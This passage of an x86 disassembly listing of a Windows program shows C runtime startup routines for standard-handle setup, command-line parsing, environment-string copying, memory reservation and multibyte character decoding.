		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx]
		test	edx, 1
		jz	short loc_44A381
		test	edx, 8
		jnz	short loc_44A35B
		push	eax
		call	dword_411DEC	; GetFileType
		test	eax, eax
		jz	short loc_44A381


loc_44A35B:				; CODE XREF: sub_44A221+12Dj
		mov	eax, edi
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, edi
		sar	edx, 5
		mov	edx, dword_413988[edx*4]
		lea	ebx, [edx+eax]
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		mov	[ebx+4], al


loc_44A381:				; CODE XREF: sub_44A221+117j
					; sub_44A221+125j ...
		inc	edi
		inc	[ebp+var_4]
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_44A38E:				; CODE XREF: sub_44A221+10Bj
		cmp	edi, [ebp+var_10]
		jl	short loc_44A32E


loc_44A393:				; CODE XREF: sub_44A221+69j
					; sub_44A221+73j
		xor	edi, edi


loc_44A395:				; CODE XREF: sub_44A221+23Ej
		imul	eax, edi, 24h
		mov	edx, dword_413988
		lea	ebx, [edx+eax]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	loc_44A457
		mov	byte ptr [ebx+4], 81h
		test	edi, edi
		jnz	short loc_44A3BE
		mov	[ebp+var_5C], 0FFFFFFF6h
		jmp	short loc_44A3CF
; ---------------------------------------------------------------------------


loc_44A3BE:				; CODE XREF: sub_44A221+192j
		cmp	edi, 1
		setz	al
		and	eax, 1
		add	eax, 0FFFFFFF4h
		mov	[ebp+var_5C], eax


loc_44A3CF:				; CODE XREF: sub_44A221+19Bj
		mov	eax, [ebp+var_5C]
		push	eax
		call	dword_411CD4	; GetStdHandle
		mov	[ebp+var_C], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_44A451
		mov	eax, [ebp+var_C]
		push	eax
		call	dword_411DEC	; GetFileType
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44A451
		call	dword_411D64	; GetCurrentProcess
		mov	[ebp+var_64], eax
		call	dword_411D64	; GetCurrentProcess
		push	2
		push	1
		push	0
		lea	edx, [ebp+var_60]
		push	edx
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_64]
		push	eax
		call	dword_411DF0	; DuplicateHandle
		test	eax, eax
		jz	short loc_44A426
		mov	eax, [ebp+var_60]
		mov	[ebp+var_C], eax


loc_44A426:				; CODE XREF: sub_44A221+1FDj
		mov	eax, [ebp+var_C]
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_44A43E
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44A45B
; ---------------------------------------------------------------------------


loc_44A43E:				; CODE XREF: sub_44A221+215j
		mov	eax, [ebp+var_14]
		and	eax, 0FFh
		cmp	eax, 3
		jnz	short loc_44A45B
		or	byte ptr [ebx+4], 8
		jmp	short loc_44A45B
; ---------------------------------------------------------------------------


loc_44A451:				; CODE XREF: sub_44A221+1C0j
					; sub_44A221+1D1j
		or	byte ptr [ebx+4], 40h
		jmp	short loc_44A45B
; ---------------------------------------------------------------------------


loc_44A457:				; CODE XREF: sub_44A221+186j
		or	byte ptr [ebx+4], 80h


loc_44A45B:				; CODE XREF: sub_44A221+21Bj
					; sub_44A221+228j ...
		inc	edi
		cmp	edi, 3
		jl	loc_44A395
		mov	eax, dword_413A88
		push	eax
		call	dword_411DF4	; LockResource
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A221	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		xor	ebx, ebx


loc_44A485:				; CODE XREF: DMN1:0044A4D8j
		cmp	dword_413988[ebx*4], 0
		jz	short loc_44A4D4
		mov	esi, dword_413988[ebx*4]
		jmp	short loc_44A4AB
; ---------------------------------------------------------------------------


loc_44A498:				; CODE XREF: DMN1:0044A4B9j
		cmp	dword ptr [esi+8], 0
		jz	short loc_44A4A8
		lea	eax, [esi+0Ch]
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection


loc_44A4A8:				; CODE XREF: DMN1:0044A49Cj
		add	esi, 24h


loc_44A4AB:				; CODE XREF: DMN1:0044A496j
		mov	eax, dword_413988[ebx*4]
		add	eax, 480h
		cmp	esi, eax
		jb	short loc_44A498
		mov	eax, dword_413988[ebx*4]
		push	eax
		call	sub_448071
		pop	ecx
		mov	dword_413988[ebx*4], 0


loc_44A4D4:				; CODE XREF: DMN1:0044A48Dj
		inc	ebx
		cmp	ebx, 40h
		jl	short loc_44A485
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A4E1	proc near		; CODE XREF: sub_44A691+3Fp
					; sub_44A691+76p

var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_10]
		mov	dword ptr [edx], 0
		mov	edx, [ebp+arg_C]
		mov	dword ptr [edx], 1
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+arg_4], 0
		jz	short loc_44A512
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44A512:				; CODE XREF: sub_44A4E1+24j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44A54D
		jmp	short loc_44A529
; ---------------------------------------------------------------------------


loc_44A519:				; CODE XREF: sub_44A4E1+53j
		test	ecx, ecx
		jz	short loc_44A524
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44A524:				; CODE XREF: sub_44A4E1+3Aj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44A529:				; CODE XREF: sub_44A4E1+36j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44A536
		cmp	byte ptr [ebx],	0
		jnz	short loc_44A519


loc_44A536:				; CODE XREF: sub_44A4E1+4Ej
		test	ecx, ecx
		jz	short loc_44A540
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44A540:				; CODE XREF: sub_44A4E1+57j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44A585
		inc	ebx
		jmp	short loc_44A585
; ---------------------------------------------------------------------------


loc_44A54D:				; CODE XREF: sub_44A4E1+34j
					; sub_44A4E1+91j
		test	ecx, ecx
		jz	short loc_44A558
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44A558:				; CODE XREF: sub_44A4E1+6Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		mov	eax, ebx
		inc	ebx
		mov	al, [eax]
		mov	[ebp+var_9], al
		mov	al, [ebp+var_9]
		cmp	al, 20h
		jz	short loc_44A574
		test	al, al
		jz	short loc_44A574
		cmp	al, 9
		jnz	short loc_44A54D


loc_44A574:				; CODE XREF: sub_44A4E1+89j
					; sub_44A4E1+8Dj
		cmp	[ebp+var_9], 0
		jnz	short loc_44A57D
		dec	ebx
		jmp	short loc_44A585
; ---------------------------------------------------------------------------


loc_44A57D:				; CODE XREF: sub_44A4E1+97j
		test	ecx, ecx
		jz	short loc_44A585
		mov	byte ptr [ecx-1], 0


loc_44A585:				; CODE XREF: sub_44A4E1+67j
					; sub_44A4E1+6Aj ...
		mov	[ebp+var_8], 0


loc_44A58C:				; CODE XREF: sub_44A4E1+181j
		cmp	byte ptr [ebx],	0
		jz	short loc_44A59E
		jmp	short loc_44A594
; ---------------------------------------------------------------------------


loc_44A593:				; CODE XREF: sub_44A4E1+B7j
					; sub_44A4E1+BBj
		inc	ebx


loc_44A594:				; CODE XREF: sub_44A4E1+B0j
		mov	al, [ebx]
		cmp	al, 20h
		jz	short loc_44A593
		cmp	al, 9
		jz	short loc_44A593


loc_44A59E:				; CODE XREF: sub_44A4E1+AEj
		cmp	byte ptr [ebx],	0
		jz	loc_44A667
		cmp	[ebp+arg_4], 0
		jz	short loc_44A5B8
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	[eax], ecx


loc_44A5B8:				; CODE XREF: sub_44A4E1+CAj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44A5BD:				; CODE XREF: sub_44A4E1+16Dj
		mov	[ebp+var_4], 1
		xor	edi, edi
		jmp	short loc_44A5CA
; ---------------------------------------------------------------------------


loc_44A5C8:				; CODE XREF: sub_44A4E1+ECj
		inc	ebx
		inc	edi


loc_44A5CA:				; CODE XREF: sub_44A4E1+E5j
		cmp	byte ptr [ebx],	5Ch
		jz	short loc_44A5C8
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44A61A
		test	edi, 1
		jnz	short loc_44A607
		cmp	[ebp+var_8], 0
		jz	short loc_44A5F4
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_44A5EB
		inc	ebx
		jmp	short loc_44A5FB
; ---------------------------------------------------------------------------


loc_44A5EB:				; CODE XREF: sub_44A4E1+105j
		mov	[ebp+var_4], 0
		jmp	short loc_44A5FB
; ---------------------------------------------------------------------------


loc_44A5F4:				; CODE XREF: sub_44A4E1+FFj
		mov	[ebp+var_4], 0


loc_44A5FB:				; CODE XREF: sub_44A4E1+108j
					; sub_44A4E1+111j
		xor	eax, eax
		cmp	[ebp+var_8], 0
		setz	al
		mov	[ebp+var_8], eax


loc_44A607:				; CODE XREF: sub_44A4E1+F9j
		shr	edi, 1
		jmp	short loc_44A61A
; ---------------------------------------------------------------------------


loc_44A60B:				; CODE XREF: sub_44A4E1+13Ej
		test	ecx, ecx
		jz	short loc_44A615
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	5Ch


loc_44A615:				; CODE XREF: sub_44A4E1+12Cj
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44A61A:				; CODE XREF: sub_44A4E1+F1j
					; sub_44A4E1+128j
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_44A60B
		mov	al, [ebx]
		test	al, al
		jz	short loc_44A635
		cmp	[ebp+var_8], 0
		jnz	short loc_44A637
		cmp	al, 20h
		jz	short loc_44A635
		cmp	al, 9
		jnz	short loc_44A637


loc_44A635:				; CODE XREF: sub_44A4E1+144j
					; sub_44A4E1+14Ej
		jmp	short loc_44A653
; ---------------------------------------------------------------------------


loc_44A637:				; CODE XREF: sub_44A4E1+14Aj
					; sub_44A4E1+152j
		cmp	[ebp+var_4], 0
		jz	short loc_44A64D
		test	ecx, ecx
		jz	short loc_44A648
		mov	eax, ecx
		inc	ecx
		mov	dl, [ebx]
		mov	[eax], dl


loc_44A648:				; CODE XREF: sub_44A4E1+15Ej
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]


loc_44A64D:				; CODE XREF: sub_44A4E1+15Aj
		inc	ebx
		jmp	loc_44A5BD
; ---------------------------------------------------------------------------


loc_44A653:				; CODE XREF: sub_44A4E1:loc_44A635j
		test	ecx, ecx
		jz	short loc_44A65D
		mov	eax, ecx
		inc	ecx
		mov	byte ptr [eax],	0


loc_44A65D:				; CODE XREF: sub_44A4E1+174j
		mov	eax, [ebp+arg_10]
		inc	dword ptr [eax]
		jmp	loc_44A58C
; ---------------------------------------------------------------------------


loc_44A667:				; CODE XREF: sub_44A4E1+C0j
		cmp	[ebp+arg_4], 0
		jz	short loc_44A67C
		mov	eax, [ebp+arg_4]
		lea	edx, [eax+4]
		mov	[ebp+arg_4], edx
		mov	dword ptr [eax], 0


loc_44A67C:				; CODE XREF: sub_44A4E1+18Aj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A4E1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A691	proc near		; CODE XREF: DMN1:00448A8Ap

var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		call	dword_411D90	; GetCommandLineA
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jnz	short loc_44A6C3
		push	104h
		lea	eax, [ebp+var_10C]
		push	eax
		push	0
		call	dword_411CDC	; GetModuleFileNameA
		lea	esi, [ebp+var_10C]


loc_44A6C3:				; CODE XREF: sub_44A691+16j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	esi
		call	sub_44A4E1
		add	esp, 14h
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+eax*4]
		push	eax
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_44A6F6
		push	1
		call	sub_44A111
		pop	ecx


loc_44A6F6:				; CODE XREF: sub_44A691+5Bj
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [ebx+eax*4]
		push	eax
		push	ebx
		push	esi
		call	sub_44A4E1
		add	esp, 14h
		mov	eax, [ebp+var_4]
		dec	eax
		mov	dword_4117C4, eax
		mov	dword_4117C8, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A691	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A731	proc near		; CODE XREF: DMN1:00448A8Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	dword_411DF8	; GetEnvironmentStrings
		mov	[ebp+var_8], eax
		test	eax, eax
		jnz	short loc_44A74F
		mov	eax, off_411894
		mov	[ebp+var_8], eax


loc_44A74F:				; CODE XREF: sub_44A731+14j
		mov	[ebp+var_4], 0
		mov	ebx, [ebp+var_8]
		jmp	short loc_44A774
; ---------------------------------------------------------------------------


loc_44A75B:				; CODE XREF: sub_44A731+46j
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44A760:				; CODE XREF: sub_44A731+34j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44A760
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44A772
		add	[ebp+var_4], esi


loc_44A772:				; CODE XREF: sub_44A731+3Cj
		add	ebx, esi


loc_44A774:				; CODE XREF: sub_44A731+28j
		cmp	byte ptr [ebx],	0
		jnz	short loc_44A75B
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_449121
		pop	ecx
		mov	edi, eax
		mov	dword_4117D0, eax
		cmp	dword_4117D0, 0
		jnz	short loc_44A79C
		push	1
		call	sub_44A111
		pop	ecx


loc_44A79C:				; CODE XREF: sub_44A731+61j
		mov	ebx, [ebp+var_8]
		jmp	short loc_44A7CB
; ---------------------------------------------------------------------------


loc_44A7A1:				; CODE XREF: sub_44A731+9Dj
		mov	edx, ebx
		or	eax, 0FFFFFFFFh


loc_44A7A6:				; CODE XREF: sub_44A731+7Aj
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44A7A6
		lea	esi, [eax+1]
		cmp	byte ptr [ebx],	3Dh
		jz	short loc_44A7C9
		mov	ecx, edi
		mov	edx, ebx
		push	ecx
		sub	ecx, edx


loc_44A7BC:				; CODE XREF: sub_44A731+93j
		mov	al, [edx]
		mov	[ecx+edx], al
		inc	edx
		test	al, al
		jnz	short loc_44A7BC
		pop	eax
		add	edi, esi


loc_44A7C9:				; CODE XREF: sub_44A731+82j
		add	ebx, esi


loc_44A7CB:				; CODE XREF: sub_44A731+6Ej
		cmp	byte ptr [ebx],	0
		jnz	short loc_44A7A1
		mov	byte ptr [edi],	0
		mov	eax, off_411894
		cmp	eax, [ebp+var_8]
		jz	short loc_44A7E7
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_411DFC	; FreeEnvironmentStringsA


loc_44A7E7:				; CODE XREF: sub_44A731+AAj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A731	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================



sub_44A7F1	proc near		; CODE XREF: DMN1:00448AC4p
		push	ebx
		call	dword_411D90	; GetCommandLineA
		mov	ebx, eax
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44A815


loc_44A7FF:				; CODE XREF: sub_44A7F1+19j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	22h
		jz	short loc_44A80C
		cmp	byte ptr [ebx],	0
		jnz	short loc_44A7FF


loc_44A80C:				; CODE XREF: sub_44A7F1+14j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_44A81D
		inc	ebx
		jmp	short loc_44A81D
; ---------------------------------------------------------------------------


loc_44A814:				; CODE XREF: sub_44A7F1+27j
		inc	ebx


loc_44A815:				; CODE XREF: sub_44A7F1+Cj
		cmp	byte ptr [ebx],	20h
		ja	short loc_44A814
		jmp	short loc_44A81D
; ---------------------------------------------------------------------------


loc_44A81C:				; CODE XREF: sub_44A7F1+34j
		inc	ebx


loc_44A81D:				; CODE XREF: sub_44A7F1+1Ej
					; sub_44A7F1+21j ...
		mov	al, [ebx]
		test	al, al
		jz	short loc_44A827
		cmp	al, 20h
		jbe	short loc_44A81C


loc_44A827:				; CODE XREF: sub_44A7F1+30j
		mov	eax, ebx
		pop	ebx
		retn
sub_44A7F1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A831	proc near		; CODE XREF: sub_448B51+21p

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_4117D8, 0
		jnz	short loc_44A864
		push	1
		push	2000h
		mov	eax, dword_4117DC
		push	eax
		push	0
		call	dword_411E00	; VirtualAlloc
		mov	dword_4117D8, eax
		test	eax, eax
		jz	short loc_44A8C7


loc_44A864:				; CODE XREF: sub_44A831+13j
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, dword_4117D8
		push	eax
		call	dword_411E04	; VirtualQuery
		test	eax, eax
		jz	short loc_44A8C7
		cmp	[ebp+var_C], 1000h
		jnz	short loc_44A891
		mov	eax, [ebp+var_10]
		mov	edx, dword_4117D8
		lea	edi, [edx+eax]
		jmp	short loc_44A897
; ---------------------------------------------------------------------------


loc_44A891:				; CODE XREF: sub_44A831+50j
		mov	edi, dword_4117D8


loc_44A897:				; CODE XREF: sub_44A831+5Ej
		mov	esi, edi
		lea	eax, [esi+ebx]
		mov	edx, dword_4117DC
		mov	ecx, dword_4117D8
		add	edx, ecx
		cmp	eax, edx
		jb	short loc_44A8B2
		xor	eax, eax
		jmp	short loc_44A8C7
; ---------------------------------------------------------------------------


loc_44A8B2:				; CODE XREF: sub_44A831+7Bj
		push	4
		push	1000h
		push	ebx
		push	esi
		call	dword_411E00	; VirtualAlloc
		test	eax, eax
		jz	short loc_44A8C7
		mov	eax, esi


loc_44A8C7:				; CODE XREF: sub_44A831+31j
					; sub_44A831+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A831	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44A8D1	proc near		; CODE XREF: sub_449761+44p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	eax, [ebp+arg_C]
		movzx	eax, word ptr [eax+6]
		mov	[ebp+var_3], al
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		mov	[ebp+var_2], ax
		cmp	off_411924, 0
		jnz	loc_44AA4C
		cmp	[ebp+arg_4], 0
		jnz	short loc_44A91F
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB38
		mov	ebx, dword_40FB3C
		mov	[eax], ecx
		mov	[eax+4], ebx
		xor	eax, eax
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44A91F:				; CODE XREF: sub_44A8D1+31j
					; sub_44A8D1+176j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44A943
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44A943:				; CODE XREF: sub_44A8D1+52j
		cmp	[ebp+var_3], 0
		jbe	short loc_44A98A
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0C0h
		cmp	eax, 80h
		jz	short loc_44A96E
		call	sub_449321
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44A96E:				; CODE XREF: sub_44A8D1+88j
		movzx	eax, [ebp+var_2]
		shl	eax, 6
		mov	edx, [ebp+var_8]
		movzx	edx, byte ptr [edx]
		and	edx, 3Fh
		or	eax, edx
		mov	[ebp+var_2], ax
		sub	[ebp+var_3], 1
		jmp	short loc_44A9FB
; ---------------------------------------------------------------------------


loc_44A98A:				; CODE XREF: sub_44A8D1+76j
		mov	eax, [ebp+var_8]
		test	byte ptr [eax],	80h
		jnz	short loc_44A99E
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_2], ax
		jmp	short loc_44A9FB
; ---------------------------------------------------------------------------


loc_44A99E:				; CODE XREF: sub_44A8D1+BFj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0E0h
		cmp	eax, 0C0h
		jnz	short loc_44A9C3
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 1Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 1
		jmp	short loc_44A9FB
; ---------------------------------------------------------------------------


loc_44A9C3:				; CODE XREF: sub_44A8D1+DDj
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0F0h
		cmp	eax, 0E0h
		jnz	short loc_44A9E8
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 0Fh
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 2
		jmp	short loc_44A9FB
; ---------------------------------------------------------------------------


loc_44A9E8:				; CODE XREF: sub_44A8D1+102j
		call	sub_449321
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44A9FB:				; CODE XREF: sub_44A8D1+B7j
					; sub_44A8D1+CBj ...
		cmp	[ebp+var_3], 0
		jnz	short loc_44AA41
		cmp	[ebp+arg_0], 0
		jz	short loc_44AA11
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44AA11:				; CODE XREF: sub_44A8D1+134j
		mov	edx, [ebp+arg_C]
		mov	word ptr [edx+6], 0
		cmp	[ebp+var_2], 0
		jnz	short loc_44AA2A
		mov	[ebp+var_C], 0
		jmp	short loc_44AA39
; ---------------------------------------------------------------------------


loc_44AA2A:				; CODE XREF: sub_44A8D1+14Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_C], eax


loc_44AA39:				; CODE XREF: sub_44A8D1+157j
		mov	eax, [ebp+var_C]
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44AA41:				; CODE XREF: sub_44A8D1+12Ej
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		jmp	loc_44A91F
; ---------------------------------------------------------------------------


loc_44AA4C:				; CODE XREF: sub_44A8D1+27j
		mov	[ebp+var_C], 0
		cmp	[ebp+arg_4], 0
		jnz	short loc_44AA7F
		mov	eax, [ebp+arg_C]
		mov	ecx, dword_40FB38
		mov	ebx, dword_40FB3C
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, off_411924
		movzx	eax, word ptr [eax]
		and	eax, 0F00h
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44AA7F:				; CODE XREF: sub_44A8D1+186j
					; sub_44A8D1+292j
		cmp	[ebp+arg_8], 0
		jnz	short loc_44AAA3
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		mov	eax, 0FFFFFFFEh
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44AAA3:				; CODE XREF: sub_44A8D1+1B2j
		mov	al, [ebp+var_3]
		cmp	al, 10h
		jnb	short loc_44AADF
		movzx	eax, al
		mov	eax, off_411924[eax*4]
		mov	[ebp+var_14], eax
		test	eax, eax
		jz	short loc_44AADF
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	eax, 0FF0h
		jge	short loc_44AADF
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+var_14]
		mov	ax, [edx+eax*2]
		mov	[ebp+var_E], ax
		test	ax, ax
		jnz	short loc_44AAF2


loc_44AADF:				; CODE XREF: sub_44A8D1+1D7j
					; sub_44A8D1+1E8j ...
		call	sub_449321
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_44ABAB
; ---------------------------------------------------------------------------


loc_44AAF2:				; CODE XREF: sub_44A8D1+20Cj
		movzx	eax, [ebp+var_E]
		mov	edx, eax
		and	edx, 0F00h
		sar	edx, 8
		mov	[ebp+var_3], dl
		test	eax, 8000h
		jz	short loc_44AB1E
		movzx	eax, [ebp+var_2]
		and	eax, 0FFFFFF00h
		movzx	edx, byte ptr [ebp+var_E]
		or	eax, edx
		mov	[ebp+var_2], ax


loc_44AB1E:				; CODE XREF: sub_44A8D1+238j
		test	[ebp+var_E], 1000h
		jz	short loc_44AB40
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		shl	edx, 8
		sar	eax, 8
		and	eax, 0FFh
		or	edx, eax
		mov	ax, dx
		mov	[ebp+var_2], ax


loc_44AB40:				; CODE XREF: sub_44A8D1+253j
		test	[ebp+var_E], 4000h
		jz	short loc_44AB5D
		mov	eax, [ebp+var_8]
		cmp	byte ptr [eax],	0
		jz	short loc_44AB5D
		inc	[ebp+var_8]
		dec	[ebp+arg_8]
		mov	[ebp+var_C], 0


loc_44AB5D:				; CODE XREF: sub_44A8D1+275j
					; sub_44A8D1+27Dj
		test	[ebp+var_E], 2000h
		jz	loc_44AA7F
		cmp	[ebp+arg_0], 0
		jz	short loc_44AB79
		mov	edx, [ebp+arg_0]
		mov	ax, [ebp+var_2]
		mov	[edx], ax


loc_44AB79:				; CODE XREF: sub_44A8D1+29Cj
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_2]
		mov	[edx], eax
		mov	edx, [ebp+arg_C]
		movzx	eax, [ebp+var_3]
		mov	[edx+6], ax
		cmp	[ebp+var_2], 0
		jnz	short loc_44AB9D
		mov	[ebp+var_18], 0
		jmp	short loc_44ABA8
; ---------------------------------------------------------------------------


loc_44AB9D:				; CODE XREF: sub_44A8D1+2C1j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		sub	eax, edx
		mov	[ebp+var_18], eax


loc_44ABA8:				; CODE XREF: sub_44A8D1+2CAj
		mov	eax, [ebp+var_18]


loc_44ABAB:				; CODE XREF: sub_44A8D1+49j
					; sub_44A8D1+6Dj ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44A8D1	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44ABB1	proc near		; CODE XREF: sub_449761+243p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
